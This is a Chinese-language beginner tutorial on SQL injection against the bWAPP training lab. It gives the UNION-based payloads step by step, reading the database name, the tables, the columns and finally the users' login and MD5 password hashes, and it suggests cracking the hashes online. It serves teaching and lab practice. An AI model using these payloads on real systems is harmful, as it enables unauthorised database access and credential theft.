SQL
简单的sql注入:
示例:靶场 bWAPP练习 injection SQL Injection GET/Search
1.进入靶场环境 难度等级:low
2.测试分析,在搜索栏中随意输入字母,示例:
页面出现电影名称以及其他数据
3.测试漏洞
常用方法:
'(英文单引号)报错测试
and和or测试法
这里我们输入:
a'
页面报错:说明存在注入点
4.爆字段(数据表的列数)
order by 语句 #二分查找法
输入:
a’ order by 10# //a可以为任意 10同理
页面出现报错 说明列数少于10列
说明列数大于5列 ,以此类推当我们在7到8之间时发现页面回显不一样 说明该表格只有7列
5.爆表(即获取当前数据表)
方法:union select联合注入
输入:
a' union select 1,2,3,4,5,6,7#
1到7为我们查出来的表中的所有列
我们可以把一些内置函数替换这几个数字,会得出我们想要的东西。
例如
查看当前数据库名 输入:
a'union select 1,database(),3,4,5,6,7#
用 database() 替换了 2 原来数据 2 就会变成我们查找的数据库名字
内置函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
开始暴数据表 输入:
a' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#
information_schema.tables 提供了关于数据库中的表的信息
table_schema 是数据库的名称
可以看到,爆出了5个表,其中users表是一个比较重要的表
6.获取后台账户和密码
先查看users表中的列的信息 输入:
a' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#c
column_name(s) 数据库表中所有列的名称,column_name是一个列名称
information_schema.columns提供了关于表中的列的信息
其中 login 和 password 应该为账号和密码 查出该信息
输入:
a' union select 1,login,password,4,5,6,7 from users#
得到 账号 密码(经过md5加密)
md5在线加密解密 加解密网站
最终得到 账号 密码
新手入门web SQL